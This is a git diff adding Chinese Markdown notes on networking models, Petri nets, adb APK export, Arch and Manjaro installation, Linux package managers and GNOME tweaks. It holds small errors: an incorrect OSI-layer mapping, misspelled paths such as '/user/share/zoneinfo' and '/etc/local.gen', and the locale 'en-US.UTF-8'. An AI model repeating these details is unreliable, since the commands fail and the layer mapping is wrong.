[四层互联网模型](四层互联网模型.md) | diff --git "a/docs/\345\205\266\344\273\226/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\345\233\233\345\261\202\344\272\222\350\201\224\347\275\221\346\250\241\345\236\213.md" "b/docs/\345\205\266\344\273\226/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\345\233\233\345\261\202\344\272\222\350\201\224\347\275\221\346\250\241\345\236\213.md" new file mode 100644 index 000000000..540558736 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\256\241\347\256\227\346\234\272\347\275\221\347\273\234/\345\233\233\345\261\202\344\272\222\350\201\224\347\275\221\346\250\241\345\236\213.md" @@ -0,0 +1,25 @@ +# 四层互联网模型 + +## 互联网标准(Internet Standard) + +| 名称 | 常见协议 | +| ------ | ----------------------------------------------------------------- | +| 应用层 | HTTP (Hypertext Transfer Protocol). | +| 传输层 | TCP (Transmission Control Protocol)/UDP (User Datagram Protocol). | +| 网络层 | IP (Internet Protocol). | +| 链路层 | Ethernet, WiFi. | + +来源于 [RFC 1122](https://datatracker.ietf.org/doc/html/rfc1122). + +其他互联网模型请参考 [Wikipedia](https://en.wikipedia.org/wiki/Internet_protocol_suite#Layering_evolution_and_representations_in_the_literature). + + + +## 七层 OSI 模型 + +该模型已被上述的四层模型所替代, 其中: + +- 应用层: 对应应用层和表示层. +- 传输层: 对应网络层和对话层. +- 网络层: 对应网络层. +- 链路层: 对应物理层和链路层. diff --git "a/docs/\345\205\266\344\273\226/\350\265\204\350\256\257.md" "b/docs/\345\205\266\344\273\226/\350\265\204\350\256\257.md" new file mode 100644 index 000000000..11098caa2 --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\265\204\350\256\257.md" @@ -0,0 +1,9 @@ +# 实用网站 + +## 资讯 + +- [This Week in Rust](https://this-week-in-rust.org/) `email`, `rss` +- [This Week in Bevy](https://thisweekinbevy.com/) `rss` +- [This Week in GNOME](https://thisweek.gnome.org/) `rss` +- [This Week in KDE](https://pointieststick.com/category/this-week-in-kde/) `email`, `rss` +- [This Week in Neovim](https://dotfyle.com/this-week-in-neovim) `email`, `rss` diff --git "a/docs/\345\205\266\344\273\226/\350\275\257\344\273\266\345\267\245\347\250\213/Petri_\347\275\221.md" "b/docs/\345\205\266\344\273\226/\350\275\257\344\273\266\345\267\245\347\250\213/Petri_\347\275\221.md" new file mode 100644 index 000000000..717998d9b --- /dev/null +++ "b/docs/\345\205\266\344\273\226/\350\275\257\344\273\266\345\267\245\347\250\213/Petri_\347\275\221.md" @@ -0,0 +1,40 @@ +# Petri 网 + +**英文**: Petri net + +## 简介 + +![Petri net](assets/petri_net.jpg){ width=80% style="display: block; margin: 0 auto" } + +Petri 网是用于描述分布式系统的数学建模语言, 名称来源于发明者 Carl Adam Petri, 最初目的是用于描述化学过程. +通过 Petri 网对并发系统进行建模后, 就可以利用其数学特性进行分析. + +Petri 网由三种元素组成: + +1. **库所 (Place)**: 即上图的圆形节点. +2. **变迁 (Transition)**: 即上图的方形节点. +3. **有向弧 (Arc)**: 用于连接库所和变迁. + +## 定义 + +Petri 网是一个三元组 $N = (P, T, F)$, 其中: + +- $P$ 和 $T$ 是两个不相交的有限集, 分别表示库所和变迁. +- $F \subseteq (P \times T) \cup (T \times P)$ 是弧的集合. + +TODO: 令牌 (Token). +TODO: 说明 Petri 网的运行方式. + +## 高级 Petri 网 (High-level Petri nets) + +高级 Petri 网在 Petri 网的基础上添加了以下内容: + +- Color: 令牌可以包含其他属性. 可为其他属性建模. +- Time: 变迁带有 $T_{min}$ 和 $T_{max}$ 属性, 表示激发所需要的最短完成和最长完成时间. 可用于性能分析. +- Hierarchy: Petri 网可以包含子网 (subnet), 而子网可以包含其他子网. + +## 参见 + +- . +- [Petri Net Markup Language](https://www.pnml.org/papers/PNML_CTT.pdf). +- . diff --git "a/docs/\345\205\266\344\273\226/\350\275\257\344\273\266\345\267\245\347\250\213/assets/petri_net.jpg" "b/docs/\345\205\266\344\273\226/\350\275\257\344\273\266\345\267\245\347\250\213/assets/petri_net.jpg" new file mode 100644 index 000000000..b2ec7054d Binary files /dev/null and "b/docs/\345\205\266\344\273\226/\350\275\257\344\273\266\345\267\245\347\250\213/assets/petri_net.jpg" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Android.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Android.md" new file mode 100644 index 000000000..8330d3309 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Android.md" @@ -0,0 +1,15 @@ +# Android + +## 导出 APK + +请先确保手机已开启 USB 调试, 并允许当前电脑进行调试. + +```console +> adb shell pm list packages # 列出全部 APK 名称 +> adb shell pm path # 获取 APK 路径 +> adb pull path/to/target # 将 APK 文件下载到电脑的指定位置 +``` + +## 参考 + +- . diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\345\214\205\347\256\241\347\220\206.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\345\214\205\347\256\241\347\220\206.md" new file mode 100644 index 000000000..603c76cf9 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\345\214\205\347\256\241\347\220\206.md" @@ -0,0 +1,63 @@ +# Arch 包管理 + +**发行版**: Arch, Manjaro, EndeavourOS. + +## 常用操作 + +```sh +sudo pacman -Ss # 搜索包 +sudo pacman -S # 安装包 +sudo pacman -Rns # 删除包 (包括依赖项) +sudo pacman -Syyu # 进行全面更新 +sudo pacman -Rs $(pacman -Qtdq) # 删除无用的包 + +sudo pacman-mirrors -c China # 更新镜像源 (仅限 Manjaro) +yay -Ps # 列出外存占用情况和10个体积最大的包 +``` + +## 使用 AUR + +yay 包装了 pacman, 语法相似. 可以同时管理 pacman 的包和 AUR 的包, 调用时无需使用 `sudo`. + +```sh +sudo pacman -S yay # 安装 yay +``` + +## 自定义下载器 + +允许用户使用自定义下载器以提高下载速度. 以 aria2 为例, 将 `/etc/pacman.conf` 的 `options.XferCommand` 修改为以下内容: + +```sh +/usr/bin/aria2c --allow-overwrite=true --continue=true --file-allocation=none --log-level=error --max-tries=2 --max-connection-per-server=2 --max-file-not-found=5 --min-split-size=5M --no-conf --remote-time=true --summary-interval=60 --timeout=5 --dir=/ --out %o %u +``` + +详情请参考 [ArchWiki](https://wiki.archlinux.org/title/Pacman/Tips_and_tricks#Performance). + +## 添加 archlinuxcn 仓库 + +!!! warning + Manjaro 不建议执行该步骤. + +在文件 `/etc/pacman.conf` 中添加以下内容: + +```conf +[archlinuxcn] +SigLevel = Optional TrustedOnly +Server = https://mirrors.tuna.tsinghua.edu.cn/archlinuxcn/$arch # 清华镜像 +``` + +安装 archlinuxcn-keyring: + +```sh +sudo pacman -S archlinuxcn-keyring +``` + +## 故障排除 + +- 网络环境正常, 但安装时出现网络错误 + + 可能是由于使用到了过时的信息, 先执行 `pacman -Syu` 进行更新. + +## 参见 + +- [常用软件](../../常用软件.md) diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\345\256\211\350\243\205.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\345\256\211\350\243\205.md" new file mode 100644 index 000000000..e5977df1e --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\345\256\211\350\243\205.md" @@ -0,0 +1,302 @@ +# Arch 安装 + +官方安装指南: . + +## 前置条件 + +1. U 盘: 将被格式化, 因此应先转移U盘内已有的数据. +2. 良好的网络: 安装时会使用到网络. +3. 充足的电量. +4. 准备安装 Arch Linux 的电脑有至少 3GiB 的外存空间. + +## 下载镜像文件 + +从[官网](https://archlinux.org/download/)下载镜像文件和 PGP 签名文件. + +![Image and sig file](assets/image_and_sig_file.png) + +## 验证镜像文件 (可选) + +使用 OpenPGP 验证镜像文件. + +### GUI + +如果已安装 Kleopatra, 可以直接双击签名文件进行验证. + +如果提示密钥未知, 点击 `Search` 来从服务器上搜索该密钥. 导入对应密钥后将自动重新验证. + +![Verification success](assets/verification_success.png) + +出现以上信息则表示验证成功. + +### CLI + +```console +> gpg --keyserver-options auto-key-retrieve --verify .\archlinux-2024.12.01-x86_64.iso.sig +gpg: assuming signed data in '.\\archlinux-2024.12.01-x86_64.iso' +gpg: Signature made 12/01/24 05:50:47 GMT Standard Time +gpg: using EDDSA key 3E80CA1A8B89F69CBA57D98A76A5EF9054449A5C +gpg: issuer "pierre@archlinux.org" +gpg: Good signature from "Pierre Schmitz " [full] +gpg: aka "Pierre Schmitz " [full] +``` + +出现以上信息则表示验证成功. + +!!! info + 其他验证方法 (如 sha256sum) 请参考[官网](https://archlinux.org/download/)上的 `Download verification` 部分. + +## Live USB + +将镜像文件 (即下载的 iso 文件) 烧录到 U 盘中, 然后从 U 盘启动 Arch Linux. +后续将通过从 U 盘上启动的 Arch Linux 来为电脑安装新的 Arch Linux. + +## 从 Live USB 启动 Arch Linux + +成功启动后应该能看到如下界面: + +![Screenshot](assets/screenshot_1.png) + +若命令输出大量内容可能超出显示范围, 可以将其传递给 `less` 命令来查看完整内容, 如: `ip addr | less`. +通过 `Ctrl` `Alt` F1-6 切换到其他终端, 可同时执行命令. + +如遇到空间不足的问题, 可以通过下面命令解决: + +```console +# mount -o remount,size=2G /run/archiso/cowspace +``` + +## 连接 Wi-Fi + +```console +# iwctl +[iwd]# device list # 列出无线网卡 +[iwd]# station wlan0 scan +[iwd]# station wlan0 get-networks +[iwd]# station wlan0 connect # 连接指定 Wi-Fi, 连接成功后对应 Network name 的左侧会出现 > +[iwd]# exit # 连接成功后即可退出 +``` + +```console +# nmcli dev wifi +# nmcli dev wifi connect password +``` + +## 网络 + +```console +# ping archlinux.org # 检查是否有网络连接 +# timedatectl set-ntp true # 时间同步 +``` + +## 更换源 + +请参见: . + +## 分区 + +!!! danger + 该步骤存在较高风险, 需谨慎操作. + 如果已经安装了 Windows, 注意不要修改属于 Windows 的 NTFS 文件系统类型的分区. + 可以使用 `lsblk --fs` 查看文件系统类型. + +```console +# fdisk -l +# lsblk +# cfdisk /dev/sda +# lsblk +``` + +现代计算机标签类型建议选择 GPT. + +bootloader 分区大小通常为 128/256/512. +创建完分区后选中该分区, 按 `b` 标记为可启动的. + +按需创建其他分区, 至少创建一个. 用于存放根目录. + +创建完全部分区后按 `W` 写入来应用修改. 然后按 `q` 退出. + +## 创建分区 + +选择合适的文件系统创建并格式化分区, 下面以 ext4 为例. + +```console +# mkfs.fat -F 32 /dev/efi_system_partition +# mkfs.ext4 /dev/root_partition +# mkswap /dev/swap_partition +``` + +其他文件系统请参考 [ArchWiki](https://wiki.archlinux.org/title/File_systems#Types_of_file_systems). + +创建交换分区使用的命令是 `mkswap`. + +## 挂载分区 + +```console +# mount /dev/root_partition /mnt +# mkdir /mnt/boot +# mount --mkdir /dev/efi_system_partition /mnt/boot +# lsblk +``` + +如果有 swap 分区, 还需执行下面命令: + +```console +# swapon /dev/swap_partition +``` + +## 安装 + +```console +# pacstrap /mnt linux linux-firmware base base-devel neovim +``` + +安装基本软件. 可以将 neovim 替换成其他编辑器或使用 nano. +也可以在后续 chroot 进入新系统环境后进行安装. + +```console +# genfstab -U /mnt >> /mnt/etc/fstab +``` + +```console +# arch-chroot /mnt /bin/bash +``` + +## 安装 GRUB + +```console +[]# pacman -S grub +[]# grub-install /dev/sda +[]# grub-mkconfig -o /boot/grub/grub.cfg +``` + +## 安装网络管理器 + +根据系统的用途选择合适的网络管理器. + +```console +[]# pacman -S networkmanager +[]# systemctl enable NetworkManager +``` + +## 安装 microcode + +根据 CPU 品牌安装 microcode, 只需要安装一个. + +```console +[]# pacman -S intel-ucode # Intel CPU +[]# pacman -S amd-ucode # AMD CPU +``` + +## 设置密码 + +通过下面的命令为 root 设置密码: + +```console +[]# passwd +``` + +!!! warning + 使用数字键盘时需注意 `Num Lock`. + +## 设置语言 + +修改文件 `/etc/local.gen`, 取消需要使用语言的注释, 可以同时启用 UTF-8 和 ISO-8859-1. + +应用修改: + +```console +[]# locale-gen +``` + +修改文件 `/etc/locale.conf`, 添加下面内容来设置需要使用的语言: + +```conf +LANG=en-US.UTF-8 +``` + +## 设置主机名 + +修改文件 `/etc/hostname`, 填写主机名. + +## 设置时区 + +利用补全功能选择时区. + +```console +[]# ln -sf /user/share/zoneinfo/Asia/Shanghai /etc/localtime +``` + +详情请参考 [ArchWiki](https://wiki.archlinux.org/title/System_time#Time_zone). + +```console +[]# exit +# umount -R /mnt +# reboot +``` + +## 安装 KDE Plasma + +### 添加用户 + +创建用户并设置密码. + +### 用户组权限管理 + +```console +# useradd -m -G wheel # 创建家目录并将用户添加到 wheel 用户组. useradd --create-home --groups +# passwd +``` + +https://wiki.archlinux.org/title/Users_and_groups#User_groups + +### 手动权限管理 + +```console +# useradd +# passwd + +# mkdir /home/ +# chown /home/ +# chgrp /home/ +# chmod 700 /home/ +``` + +!!! info + Arch Linux 默认不包含 `adduser`, 可以从 AUR 安装. 但是 AUR 安装器通常需要非 root 权限用户. 因此手动添加用户. + +### 安装 Plasma + +```console +# pacman -S plasma-meta +``` + +建议选项: + +- 音频: `pipewire-jack`. +- 字体: `noto-fonts`. + +显示服务器建议默认使用 Wayland, 较为保守的用户可以使用 X Window System. + +```console +# pacman -S plasma-wayland-session +``` + +可以选择性安装模拟终端, 以便在桌面环境下使用终端. + +```console +# pacman -S flatpak +# flatpak install flathub org.wezfurlong.wezterm +``` + +或者在进入桌面环境后, 通过组合按键 `Ctrl` `Alt` `F3` 切换到其他 TTY, 通过组合按键 `Ctrl` `Alt` `F2` 切回桌面环境. + +--- + +开启 SDDM 自动登录 + +--- + +```console +sudo systemctl enable sddm.service +``` diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\346\225\205\351\232\234\346\216\222\351\231\244.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\346\225\205\351\232\234\346\216\222\351\231\244.md" new file mode 100644 index 000000000..c0b657b4f --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/Arch_\346\225\205\351\232\234\346\216\222\351\231\244.md" @@ -0,0 +1,15 @@ +# Arch 故障排除 + +## signature from "XXX" is unknown trust + +更新 keyring: + +```sh +pacman -S archlinux-keyring +pacman-key -l Caleb +# 密钥过时 +# 更新密钥 +pacman-key --refresh-keys +pacman-key -l Caleb +# 密钥有效 +``` diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/image_and_sig_file.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/image_and_sig_file.png" new file mode 100644 index 000000000..829ca8ce8 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/image_and_sig_file.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/import_key.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/import_key.png" new file mode 100644 index 000000000..345c9e466 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/import_key.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/screenshot_1.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/screenshot_1.png" new file mode 100644 index 000000000..3ed220ec7 Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/screenshot_1.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/verification_success.png" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/verification_success.png" new file mode 100644 index 000000000..e6f270dfc Binary files /dev/null and "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arch/assets/verification_success.png" differ diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arduino.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arduino.md" new file mode 100644 index 000000000..b39d67573 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Arduino.md" @@ -0,0 +1,26 @@ +# Arduino + +1. 安装核心库 + + ```sh + sudo arduino-cli core install arduino:avr + ``` + +2. 编译程序 + + ```sh + sudo arduino-cli compile -b arduino:avr:uno --warnings all + ``` + +3. 确认开发板端口 + + ```sh + ls /dev/ttyACM* + ls /dev/ttyUSB* + ``` + +4. 上传程序 + + ```sh + sudo arduino-cli upload -b arduino:avr:uno -p + ``` diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Debian_\345\214\205\347\256\241\347\220\206.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Debian_\345\214\205\347\256\241\347\220\206.md" new file mode 100644 index 000000000..5e05af7cb --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Debian_\345\214\205\347\256\241\347\220\206.md" @@ -0,0 +1,45 @@ +# Debian 包管理 + +**发行版**: Ubuntu, Kali, Deepin, Pop!_OS, Q4OS, SparkyLinux, Zorin OS, Devuan, MX Linux, KDE Neon. + +## 更新 + +```sh +sudo apt update # 刷新存储库索引 +sudo apt upgrade # 升级所有可升级的软件包 +sudo apt full-upgrade # 在升级软件包时自动处理依赖关系 +``` + +## 清理安装包 + +```sh +sudo apt autoremove # 自动删除不需要的包 +``` + +## 镜像源 + +将文件 `/etc/apt/sources.list` 中的内容修改为以下内容: + +### Kali + +```conf +# USTC 中科大镜像 +deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib +deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib +# deb http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free +# deb-src http://mirrors.ustc.edu.cn/kali-security kali-current/updates main contrib non-free + +# Aliyun 阿里云镜像 +# deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib +# deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib + +# Kali 官方 +# deb http://http.kali.org/kali kali-rolling main non-free contrib +# deb-src http://http.kali.org/kali kali-rolling main non-free contrib +# deb http://security.kali.org/kali-security kali-rolling/updates main contrib non-free +# deb-src http://security.kali.org/kali-security kali-rolling/updates main contrib non-free +``` + +### Ubuntu + +需要根据具体的版本号进行选择. diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Flatpak_\345\214\205\347\256\241\347\220\206.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Flatpak_\345\214\205\347\256\241\347\220\206.md" new file mode 100644 index 000000000..cf3e05d9c --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Flatpak_\345\214\205\347\256\241\347\220\206.md" @@ -0,0 +1,35 @@ +# Flatpak 包管理 + +```sh +# GTK theme +mkdir -p ~/.themes +cp -r /usr/share/themes/Adwaita-dark ~/.themes/Adwaita-dark +cp -r /usr/share/themes/Adwaita ~/.themes/Adwaita +sudo flatpak override --filesystem=$HOME/.themes + +# Qt theme +flatpak install org.kde.KStyle.Adwaita +``` + +https://github.com/refi64/stylepak + +## 故障排除 + +- Partial data loss of static deltas[^1] + + 出现 `404 Not Found` 或 `Error: While pulling ... from remote flathub: URI ... exceeded maximum size of ... bytes.` 错误提示. + 附加参数 `--no-static-deltas`. + +- Could not locate theme + + ``` + ./stylepak install-system + Converting theme: Adw-dark + Could not locate theme. + ``` + + 在 Tweaks 中的 `Appearance | Legacy Applications` 修改为 `Adwaita-dark`. 然后重试. + +## 参考 + +[^1]: diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/GNOME_\347\233\270\345\205\263.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/GNOME_\347\233\270\345\205\263.md" new file mode 100644 index 000000000..03dbf8a22 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/GNOME_\347\233\270\345\205\263.md" @@ -0,0 +1,80 @@ +# GNOME 相关 + +## 插件 + +| 名称 | 描述 | +| --------------- | ----------------------------------- | +| [Blur my Shell] | 添加模糊透明等视觉效果. | +| [TopHat] | 显示CPU/内存/网络/外存使用率等信息. | +| [GSConnect] | KDE Connect. | + +[blur my shell]: https://extensions.gnome.org/extension/3193/blur-my-shell/ +[tophat]: https://extensions.gnome.org/extension/5219/tophat/ +[gsconnect]: https://extensions.gnome.org/extension/1319/gsconnect/ + +## 无线投屏 + +```sh +pamac build gnome-network-displays +``` + +## 故障排除 + +### GNOME Terminal 上程序颜色显示异常 + +勾选 `Profile | Colors | Palette | Show bold text in bright colors`. + +### 分数倍缩放倍率(Fractional scaling) + +**关键字**: HiDPI. + +- Wayland + + ```sh + gsettings set org.gnome.mutter experimental-features "['scale-monitor-framebuffer']" + ``` + +- X11 + + ```sh + gsettings set org.gnome.desktop.interface text-scaling-factor 1.25 + ``` + + ```sh + yay -S mutter-x11-scaling + gsettings set org.gnome.mutter experimental-features "['x11-randr-fractional-scaling']" # 启用 + gsettings reset org.gnome.mutter experimental-features # 禁用 + ``` + + Manjaro: + + ```sh + sudo pacman -S mutter-x11-scaling gnome-control-center-x11-scaling + ``` + + 设置完毕需要重启, 然后启用 `Settings | Displays | Fractional Scaling` 并在 `Settings | Displays | Scale` 里调整具体的缩放倍率. + +增强的分数倍缩放 (GNOME 47 引入): + +```sh +gsettings set org.gnome.mutter experimental-features '["scale-monitor-framebuffer", "xwayland-native-scaling"]' +``` + +### 桌面显示异常 + +比如任务栏被桌面遮挡, 可以从 Layouts 中重新设置桌面布局, 便可恢复正常. + +## 参见 + +- [GNOME Apps](https://wiki.gnome.org/Apps). +- [GNOME Wiki](https://wiki.gnome.org/Home). +- [GNOME 插件管理](https://extensions.gnome.org/): 安装插件后可以直接利用浏览器管理 GNOME 插件. + +## 默认文件管理器 + +打开文件夹的默认程序被设置为 VSCode. + +```sh +xdg-mime default org.gnome.Nautilus.desktop inode/directory +xdg-mime query default inode/directory +``` diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Kali.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Kali.md" new file mode 100644 index 000000000..32cdcea58 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Kali.md" @@ -0,0 +1,30 @@ +# Kali + +## 下载 + +因根据使用环境选择合适的镜像文件, 可以从官网查看不同版本的适用情况. + +- [Kali 官网](https://www.kali.org/get-kali/) +- [阿里巴巴开源镜像站](https://mirrors.aliyun.com/kali-images/) +- [华为开源镜像站](https://repo.huaweicloud.com/kali-images/)(旧) + +## 持久化 + +允许将对系统进行的修改持久化, 否则每次重启 Kali 都会回到初始状态. 该功能十分重要, 烧录时应预留一定空间. + +- Windows: 在使用 Rufus 烧录前设置 Persistent partition size. +- Linux: 详情请参考 [Adding Persistence to a Kali Linux Live USB Drive](https://www.kali.org/docs/usb/usb-persistence/) + +启动时需要在启动菜单择带有 persistence 字样的选项. + +!!! warning + 因为要进行读写操作, 所以效率会收读写速率的影响. + +## 卷标 + +卷标需要从通过修改文件 autorun.inf 中的 autorun.label 来进行修改. + +## 工具 + +若觉得默认的工具包不够用, 还可以从 *Kali Tweaks -> Metapackages* 安装其他工具包集合. +可以使用 [Kali 工具](https://www.kali.org/tools/) 来搜索并查看 Kali 中工具的信息, 如项目主页或源代码仓库. diff --git "a/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/Manjaro_\345\256\211\350\243\205.md" "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/Manjaro_\345\256\211\350\243\205.md" new file mode 100644 index 000000000..3a9475ec2 --- /dev/null +++ "b/docs/\346\223\215\344\275\234\347\263\273\347\273\237/Linux/Manjaro/Manjaro_\345\256\211\350\243\205.md" @@ -0,0 +1,214 @@ +# Manjaro 安装 + +在硬盘的指定位置安装 [Manjaro](https://manjaro.org/), 适用于普通用户/多系统用户/SSD与HDD混合的用户. + +## 前置条件 + +1. U 盘: 将被格式化, 因此应先转移U盘内已有的数据. +2. 良好的网络: 安装时会使用到网络. +3. 充足的电量. + +## 步骤概览 + +1. 制作 Manjaro 的 USB 启动盘 (Live USB). +2. 从 U 盘启动 Manjaro. +3. 利用 Manjaro 自带的安装程序安装 Manjaro 到硬盘. + +## 下载系统镜像 + +!!! info + Manjaro 官网 UI 更新频繁, 因此相关图片可能已过时. 但操作步骤应该大致不变. + +从官网([x86](https://manjaro.org/products/download/x86), [ARM](https://manjaro.org/products/download/arm))中挑选心仪的桌面环境, 并下载对应的系统镜像文件. + +![Manjaro official webside](assets/manjaro_official_gnome.jpg){ width=40% style="display: block; margin: 0 auto" } + +点击 `More` 可以看到更多信息. 默认是 `Full` 完整版, 也可以选择 `Minimal` 最小版, 仅提供了基本的桌面环境, 没有安装附加的软件. +点击 `Image` 直接下载镜像文件, 点击 `Torrent` 下载种子文件, 点击 `Checksum` 下载校验哈希值. + +若使用种子下载需使用专门的下载器进行下载. + +![Download Manjaro ISO](assets/download_manjaro_iso.png){ width=70% style="display: block; margin: 0 auto" } + +## 验证镜像文件 + +```ps1 +certutil -hashfile SHA256 +``` + +可能的结果为: + +```txt +SHA256 hash of manjaro-gnome-24.0.3-240702-linux69.iso: +8a121303e64d78832399336f7aed307887f31f010886bcf408c34aa3ee8d5fc5 +CertUtil: -hashfile command completed successfully. +``` + +官网提供的对应 Checksum 如下: + +```txt +8a121303e64d78832399336f7aed307887f31f010886bcf408c34aa3ee8d5fc5 manjaro-gnome-24.0.3-240702-linux69.iso +``` + +校验哈希值一致, 镜像文件完整. + +## 下载烧录软件 + +常用的烧录软件有以下两款, 都是开源软件: + +- Etcher: +- Rufus (仅支持 Windows): + +通过 [scoop] 管理器安装: + +```ps1 +scoop install rufus +``` + +或从[官网](http://rufus.ie/zh/)下载软件. + +![Rufus official webside](assets/rufus_official_download.png){ width=70% style="display: block; margin: 0 auto" } + +!!! warning + 自动更新可能失效, 新的系统镜像使用较早版本的 Rufus 可能导致失败, 因此建议从官网下载最新版本. + +## 烧录镜像到 U 盘中 + +1. 插入 U 盘. +2. 选项设置可参考下图. + + ![Rufus usage](assets/rufus_usage.png){ width=50% } + +3. 点击 `开始` 按钮. + +Rufus 快速格式化 U 盘并开始写入镜像, 耗时大约 3-5 min. + +## 从 U 盘中启动 + +开机时按下指定按键进入 BIOS 设置, 然后选择从 U 盘启动. + +| 制造商 | 按键 | +| ------- | ---------------- | +| Acer | F12, F9, F2, Esc | +| Apple | Option | +| Asus | Esc | +| Clevo | F7 | +| Dell | F12 | +| Fujitsu | F12, Esc | +| HP | F9 | +| Huawei | F12 | +| Intel | F10 | +| Lenovo | F12 | +| MSI | F11 | +| Samsung | Esc, F12, F2 | +| Sony | F11, Esc, F10 | +| Toshiba | F12 | +| others | F12, Esc | + +!!! tip + 不同电脑进入 BIOS 设置的方式和从 U 盘启动的操作不同, 需根据自己的电脑型号查找具体操作方式. + +!!! warning + 修改前需拍照备份, 方便失败后复原. + +## [更新 pacman 镜像源](Arch_包管理.md) + +若网络环境不佳, 可提前更新镜像源可以提高安装成功率. 因为后续联网安装需要更新 pacman 包. + +## 安装 Manjaro + +### 欢迎 + +![Manjaro Hello](assets/1_manjaro_hello.png){ width=80% style="display: block; margin: 0 auto" } + +点击窗口最下方的 `Launch installer`. + +![Manjaro Linux Installer](assets/2_manjaro_linux_installer.png){ width=80% style="display: block; margin: 0 auto" } + +!!! info + Calamares 安装程序在运行过程中可能会出现崩溃的情况, 此时需要耐心重试. + +### 位置 + +选择时区和系统语言. + +![Time zone and system language](assets/3_location.png){ width=80% style="display: block; margin: 0 auto" } + +### 键盘 + +选择键盘类型与布局, 通常默认设置即可. +如果使用的不是美式键盘或布局不是 QWERTY 则需注意. +该选项可以在安装后到 Manjaro Settings 中调整. + +![Keyboard layout](assets/4_keyboard.png){ width=80% style="display: block; margin: 0 auto" } + +### 分区 + +!!! danger + 该步骤存在较高风险, 需谨慎操作. + 如果已经安装了 Windows, 注意不要修改属于 Windows 的 NTFS 文件系统类型的分区. + +选择手动分区. + +![Partitions](assets/5_partitions.png){ width=80% style="display: block; margin: 0 auto" } + +根据硬盘类型和空间进行分区. 在进行分区时, 应该先对 [FHS] 具有基本了解. + +- SSD: EFI(`/boot/efi`), root(`/`), swap. +- HDD: home(`/home`). + +![efi](assets/6_efi.png){ width=80% } +![root](assets/7_root.png){ width=80% } +![swap](assets/8_swap.png){ width=80% } +![var](assets/9_var.png){ width=80% } +![home](assets/10_home.png){ width=80% } + +![overview 1](assets/11_overview_1.png){ width=80% } +![overview 2](assets/12_overview_2.png){ width=80% } + +### 用户 + +设置用户名/计算机名/密码. + +![Users](assets/13_users.png){ width=80% style="display: block; margin: 0 auto" } + +### 办公 + +如果暂时无法确定合适的办公套件或打算通过 Flatpak 安装, 可以跳过此步骤 (选择 `No office suite`), 待系统安装完成后再进行办公套件的安装. + +### 总览 + +![Summary](assets/14_summary.png){ width=80% style="display: block; margin: 0 auto" } + +### 安装 + +点击 `Install` 开始在指定分区安装 Manjaro. + +![Continue with installation?](assets/15.png){ style="display: block; margin: 0 auto" } +![Install](assets/16_install.png){ width=80% style="display: block; margin: 0 auto" } + +!!! info + `misc postinstall configurations` 步骤需要调用 pacman 下载内容, 因此可能耗时较长. + +可以点击进度条右侧的按钮显示安装日志. + +![Install log](assets/17_install_log.png){ width=80% style="display: block; margin: 0 auto" } + +### 